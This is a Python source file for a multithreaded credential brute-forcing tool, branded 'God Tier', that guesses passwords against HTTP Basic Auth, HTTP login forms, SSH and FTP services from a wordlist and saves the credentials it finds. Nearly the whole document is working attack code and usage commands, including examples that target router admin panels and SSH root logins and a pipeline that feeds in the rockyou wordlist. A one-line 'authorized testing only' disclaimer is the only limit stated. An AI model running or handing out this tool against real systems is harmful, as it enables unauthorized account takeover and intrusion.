

```
#!/usr/bin/env python3
"""
Network Attack Module – attacker.py
God Tier Brute Force · Network Attack Component

Protocols  : HTTP Basic Auth · HTTP Form POST · SSH ·
FTP
Threading  : Configurable worker pool
Rate limit : Configurable delay (simulates realistic
attack pace, avoids hammering)
Logging    : Timestamped, colour-coded, saves found
credentials to file

△ For authorized security testing only.
   Always test against systems you own or have
   explicit written permission to test.

Install dependencies:
  pip install requests paramiko

Usage
-----

HTTP form:
  python attacker.py http://192.168.1.1/login http-
form \
  --user admin --wordlist passwords.txt \
  --form-user username --form-pass password \
  --fail-string "Invalid credentials"

SSH:
  python attacker.py 192.168.1.100 ssh --user root -
-wordlist passwords.txt

FTP:
  python attacker.py 192.168.1.100 ftp --user admin
--wordlist passwords.txt

HTTP Basic Auth:
```

```
python attacker.py http://192.168.1.1/admin http-  
basic \  
    --user admin --wordlist passwords.txt
```

Full pipeline with engine.py:

```
python engine.py --mode hybrid --wordlist  
rockyou.txt > candidates.txt  
python attacker.py <target> ssh --user root --  
wordlist candidates.txt  
"""
```

```
from __future__ import annotations
```

```
import argparse  
import ftplib  
import logging  
import queue  
import socket  
import sys  
import threading  
import time  
from dataclasses import dataclass, field  
from pathlib import Path  
from typing import Callable, Dict, List, Optional,  
Tuple
```

```
# — optional dependencies
```

```
try:  
    import requests  
    from requests.auth import HTTPBasicAuth  
    REQUESTS_OK = True  
except ImportError:  
    REQUESTS_OK = False  
  
try:  
    import paramiko  
    SSH_OK = True  
except ImportError:  
    SSH_OK = False
```

```

#
=====

# LOGGING - timestamped, clean
#
=====

logging.basicConfig(
    format=" %(message)s",
    level=logging.INFO,
    stream=sys.stdout,
)
log = logging.getLogger("attacker")

#
=====

# CONFIG
#
=====

@dataclass
class AttackConfig:
    target: str
    protocol: str # http-basic |
http-form | ssh | ftp
    username: str
    port: int = 0
    threads: int = 8
    delay: float = 0.0 # seconds between
each attempt per thread
    timeout: int = 10
    stop_on_first: bool = True # stop all threads
when first password is found
    # HTTP-specific
    form_user_field: str = "username"
    form_pass_field: str = "password"

```

```

        extra_fields: dict =
field(default_factory=dict)
        fail_string: str = "" # text that
appears on a FAILED login response
        success_string: str = "" # text that
appears on a SUCCESSFUL login
        success_code: int = 0 # HTTP status that
means success (e.g. 302)
        # Output
        output_file: str = "found.txt"

#
=====

# PROTOCOL HANDLERS
# Contract: (cfg, password) → (success: bool,
detail: str)
#
=====

def try_http_basic(cfg: AttackConfig, password: str) -
> Tuple[bool, str]:
    """HTTP Basic Authentication brute force."""
    try:
        r = requests.get(
            cfg.target,
            auth=HTTPBasicAuth(cfg.username,
password),
            timeout=cfg.timeout,
            allow_redirects=True,
        )
        if cfg.success_code:
            return r.status_code == cfg.success_code,
f"HTTP {r.status_code}"
            return r.status_code == 200, f"HTTP
{r.status_code}"
        except requests.RequestException as e:
            return False, f"error: {e}"

```

```

def try_http_form(cfg: AttackConfig, password: str) ->
    Tuple[bool, str]:
    """
        HTML login form (POST) brute force.

        Success detection priority:
        1. success_string present in response body
        2. fail_string ABSENT from response body
        3. success_code matches status
        4. Fallback: 302 redirect (most login forms
        redirect on success)
    """
    payload = {
        cfg.form_user_field: cfg.username,
        cfg.form_pass_field: password,
        **cfg.extra_fields,
    }
    try:
        r = requests.post(
            cfg.target,
            data=payload,
            timeout=cfg.timeout,
            allow_redirects=True,
        )
        body = r.text

        if cfg.success_string:
            hit = cfg.success_string in body
            return hit, f"HTTP {r.status_code}
            ({'match' if hit else 'no match'})"

        if cfg.fail_string:
            hit = cfg.fail_string not in body
            return hit, f"HTTP {r.status_code}
            ({'fail-string absent' if hit else 'fail-string
            present'})"

        if cfg.success_code:
            return r.status_code == cfg.success_code,
            f"HTTP {r.status_code}"

        # Generic fallback: redirect usually means

```

```

successful login
    return r.status_code == 302, f"HTTP
{r.status_code}"

    except requests.RequestException as e:
        return False, f"error: {e}"

def try_ssh(cfg: AttackConfig, password: str) ->
Tuple[bool, str]:
    """SSH password authentication via paramiko."""
    if not SSH_OK:
        return False, "paramiko not installed – pip
install paramiko"
    client = paramiko.SSHClient()

    client.set_missing_host_key_policy(paramiko.AutoAddPol
icy())
    try:
        client.connect(
            cfg.target,
            port=cfg.port or 22,
            username=cfg.username,
            password=password,
            timeout=cfg.timeout,
            allow_agent=False,
            look_for_keys=False,
            banner_timeout=cfg.timeout,
        )
        client.close()
        return True, "authenticated"
    except paramiko.AuthenticationException:
        return False, "auth rejected"
    except paramiko.SSHException as e:
        return False, f"SSH error: {e}"
    except (socket.timeout, OSError) as e:
        return False, f"connection error: {e}"

def try_ftp(cfg: AttackConfig, password: str) ->
Tuple[bool, str]:
    """FTP login brute force using stdlib ftplib."""

```

```

try:
    ftp = ftplib.FTP()
    ftp.connect(cfg.target, port=cfg.port or 21,
timeout=cfg.timeout)
    ftp.login(user=cfg.username, passwd=password)
    ftp.quit()
    return True, "authenticated"
except ftplib.error_perm:
    return False, "auth rejected"
except (OSError, ftplib.Error) as e:
    return False, f"error: {e}"

_HANDLERS: Dict[str, Callable] = {
    "http-basic": try_http_basic,
    "http-form": try_http_form,
    "ssh":        try_ssh,
    "ftp":        try_ftp,
}

#
=====

# STATS & LIVE DISPLAY
#
=====

@dataclass
class AttackStats:
    total:      int    = 0
    attempted: int    = 0
    found:      int    = 0
    errors:     int    = 0
    t0:         float =
field(default_factory=time.time)

@property
def elapsed(self) -> float:
    return time.time() - self.t0

```

```

@property
def rate(self) -> float:
    return self.attempted / max(self.elapsed, 1e-
9)

@property
def eta(self) -> str:
    remaining = self.total - self.attempted
    if self.rate < 0.01:
        return "∞"
    secs = remaining / self.rate
    m, s = divmod(int(secs), 60)
    return f"{m}{s:02d}s" if m else f"{s}s"

def render(self) -> str:
    width = 32
    filled = int(width * self.attempted /
max(self.total, 1))
    bar = "█" * filled + "░" * (width - filled)
    pct = self.attempted / max(self.total, 1) *
100
    return (
        f"\r [{bar}] {pct:>5.1f}% "
        f"{self.rate:>6.1f} att/s "
        f"{self.attempted:>7}/{self.total:,} "
        f"found:{self.found} ETA:{self.eta} "
    )

#
=====
# NETWORK ATTACKER
#
=====

class NetworkAttacker:
    """
    Threaded network brute-force orchestrator.

    Architecture

```

Main thread → fills work queue with passwords,
renders live stats
Workers → pull passwords, call protocol
handler, record results
Found lock → thread-safe result recording
Stop event → graceful shutdown on first
success (or Ctrl+C)

What gets reported

- ✓ Credential found (success)
- ✗ Auth rejected (expected failure – normal)
- ⚡ Rate-limited / banned after N attempts → key
security finding
- ✗ Connection error (port closed, timeout,
service down)

"""

```
def __init__(self, cfg: AttackConfig, passwords:
List[str]):
    self.cfg = cfg
    self.passwords = passwords
    self.handler: Callable =
_HANDLERS[cfg.protocol]
    self.found: List[Tuple[str, str]] = []
    self.stats = AttackStats(total=len(passwords))
    self._lock = threading.Lock()
    self._stop = threading.Event()
    self._queue: "queue.Queue[Optional[str]]" =
queue.Queue()
    # Track consecutive errors to detect rate-
    limiting / IP ban
    self._err_streak = 0
    self._ban_threshold = 10
```

— worker

```
def _worker(self) -> None:
    while not self._stop.is_set():
```

```

        try:
            password =
self._queue.get(timeout=0.3)
        except queue.Empty:
            break
        if password is None:
            self._queue.task_done()
            break

        success, detail = self.handler(self.cfg,
password)

        with self._lock:
            self.stats.attempted += 1

            if success:
                self.stats.found += 1
                self._err_streak = 0

self.found.append((self.cfg.username, password))
                print(f"\n\n ✓ FOUND →
{self.cfg.username}:{password} [{detail}]")
                self._save(self.cfg.username,
password)

                if self.cfg.stop_on_first:
                    self._stop.set()

            elif "error" in detail.lower() or
"connection" in detail.lower():
                self.stats.errors += 1
                self._err_streak += 1
                # Detect potential ban / rate-
limit
                if self._err_streak >=
self._ban_threshold:
                    print(
                        f"\n\n ⚡ FINDING:
{self._err_streak} consecutive connection errors "
                        f"– target may be rate-
limiting or banning this IP.\n"
                        f"      Record this as a
security finding: active IP-ban defense detected.\n"

```

```

        )
        self._err_streak = 0 # reset
streak, keep going to confirm
    else:
        self._err_streak = 0

        self._queue.task_done()

        if self.cfg.delay > 0:
            time.sleep(self.cfg.delay)

# — save result


---



def _save(self, username: str, password: str) ->
None:
    with open(self.cfg.output_file, "a") as f:
        f.write(f"[{time.strftime('%Y-%m-%d
%H:%M:%S')}]] {username}:{password}\n")

# — run


---



def run(self) -> None:
    self._header()

    for pw in self.passwords:
        self._queue.put(pw)

    pool = [
        threading.Thread(target=self._worker,
daemon=True)
        for _ in range(self.cfg.threads)
    ]
    for w in pool:
        w.start()

    try:
        while not self._stop.is_set() and
self.stats.attempted < self.stats.total:

```

```

        sys.stdout.write(self.stats.render())
        sys.stdout.flush()
        time.sleep(0.4)

        # Drain remaining queue (if stop_on_first
hit mid-run)
        if self._stop.is_set():
            while not self._queue.empty():
                try:
                    self._queue.get_nowait()
                    self._queue.task_done()
                except queue.Empty:
                    break

            self._queue.join()

        except KeyboardInterrupt:
            self._stop.set()
            print("\n\n [!] Aborted by user")

        for _ in pool:
            self._queue.put(None)

        self._summary()

# — display

```

```

def _header(self) -> None:
    port_str = f":{self.cfg.port}" if
self.cfg.port else ""
    print(f"""

```

```

|| Network Attack Module · God Tier Edition ||

```

```

Target      : {self.cfg.target}{port_str}
Protocol    : {self.cfg.protocol.upper()}

```

```

Username : {self.cfg.username}
Wordlist  : {len(self.passwords):,} candidates
Threads   : {self.cfg.threads}
Delay     : {self.cfg.delay}s/attempt
Timeout   : {self.cfg.timeout}s
""")

def _summary(self) -> None:
    print(f"\n\n {'='*54}")
    print(f" Target      : {self.cfg.target}")
    print(f" Attempted   : {self.stats.attempted:,}
/ {self.stats.total:,}")
    print(f" Found       : {self.stats.found}")
    print(f" Errors      : {self.stats.errors:,}
(connection failures / timeouts)")
    print(f" Rate        : {self.stats.rate:.1f}
attempts/sec")
    print(f" Elapsed     :
{self.stats.elapsed:.2f}s")

    if self.found:
        print(f"\n — Credentials Found
_____")
        for user, pw in self.found:
            print(f" {user}:{pw}")
        print(f"\n Saved to :
{self.cfg.output_file}")
        elif self.stats.found == 0:
            print(f"\n No valid credentials found in
this run.")
            if self.stats.errors > 10:
                print(f" Note: high error rate
({self.stats.errors}) suggests active")
                print(f" rate-limiting or IP
blocking – document as a finding.")

        print(f" {'='*54}\n")

#
=====
=====

```

```

# CLI
#
=====

_BANNER = """

=====
|| Network Attack Module · God Tier Edition ||
=====
|| http-basic | http-form | ssh | ftp ||
=====
"""

def main() -> None:
    parser = argparse.ArgumentParser(
        prog="attacker.py",

    formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
    HTTP login form (most common web target):
        python attacker.py http://192.168.1.1/login http-
form \\\
        --user admin --wordlist passwords.txt \\\
        --form-user username --form-pass password \\\
        --fail-string "Invalid credentials"

    SSH (test server resistance):
        python attacker.py 192.168.1.100 ssh --user root -
wordlist passwords.txt

    FTP:
        python attacker.py 192.168.1.100 ftp --user
ftpuser --wordlist passwords.txt

```

```

HTTP Basic Auth (router admin panels):
python attacker.py http://192.168.1.1/admin http-
basic \
    --user admin --wordlist passwords.txt

Slow and quiet (simulate low-and-slow attack for
testing rate-limit policies):
python attacker.py <target> ssh --user root --
wordlist passwords.txt \
    --delay 2.0 --threads 1

Full God Tier pipeline:
# Step 1 – generate smart candidates with
engine.py
python engine.py --hash <known-hash> --mode hybrid
--wordlist rockyou.txt
# Step 2 – attack live service with those
candidates
python attacker.py <target> http-form --user admin
--wordlist found.txt \
    --form-user user --form-pass pass --fail-string
"Wrong password"
"""
)

parser.add_argument("target", help="Target URL
or IP address")
parser.add_argument("protocol",
choices=list(_HANDLERS),
help="Protocol: http-basic |
http-form | ssh | ftp")

cg = parser.add_argument_group("credentials")
cg.add_argument("--user", required=True,
metavar="USERNAME")
cg.add_argument("--wordlist", required=True,
metavar="FILE",
help="Password list (one per
line)")

hg = parser.add_argument_group("http options")
hg.add_argument("--form-user",

```

```

default="username", metavar="FIELD",
    help="Form field name for username
(default: username)")
    hg.add_argument("--form-pass",
default="password", metavar="FIELD",
    help="Form field name for password
(default: password)")
    hg.add_argument("--fail-string",    default="",
metavar="STR",
    help="Text present in the response
body on a FAILED login")
    hg.add_argument("--success-string", default="",
metavar="STR",
    help="Text present in the response
body on a SUCCESSFUL login")
    hg.add_argument("--success-code",    type=int,
default=0, metavar="N",
    help="HTTP status code that
signals success (e.g. 302 for redirect)")

    pg = parser.add_argument_group("performance")
    pg.add_argument("--port",            type=int,
default=0,
    help="Target port (default:
protocol standard)")
    pg.add_argument("--threads",        type=int,
default=8,
    help="Concurrent worker threads
(default: 8)")
    pg.add_argument("--delay",          type=float,
default=0.0,
    help="Seconds between attempts per
thread – use to test rate-limit thresholds")
    pg.add_argument("--timeout",        type=int,
default=10,
    help="Connection timeout in
seconds (default: 10)")
    pg.add_argument("--no-stop",
action="store_true",
    help="Don't stop on first found
password – run full wordlist")

```

```

og = parser.add_argument_group("output")
og.add_argument("--output", default="found.txt",
                help="File to append found
credentials to (default: found.txt)")

args = parser.parse_args()
print(_BANNER)

# Dependency checks
if args.protocol in ("http-basic", "http-form")
and not REQUESTS_OK:
    sys.exit(" [!] Missing dependency: pip
install requests")
if args.protocol == "ssh" and not SSH_OK:
    sys.exit(" [!] Missing dependency: pip
install paramiko")

# Load wordlist
wl = Path(args.wordlist)
if not wl.exists():
    sys.exit(f" [!] Wordlist not found:
{args.wordlist}")
passwords = [ln.strip() for ln in
wl.read_text(errors="ignore").splitlines() if
ln.strip()]
if not passwords:
    sys.exit(" [!] Wordlist is empty")

cfg = AttackConfig(
    target          = args.target,
    protocol        = args.protocol,
    username        = args.user,
    port            = args.port,
    threads          = args.threads,
    delay            = args.delay,
    timeout          = args.timeout,
    stop_on_first    = not args.no_stop,
    form_user_field  = args.form_user,
    form_pass_field  = args.form_pass,
    fail_string      = args.fail_string,
    success_string   = args.success_string,
    success_code     = args.success_code,

```

```
        output_file      = args.output,
    )

    NetworkAttacker(cfg, passwords).run()

if __name__ == "__main__":
    t0 = time.time()
    main()
    print(f" Wall time: {time.time() - t0:.2f}s\n")
```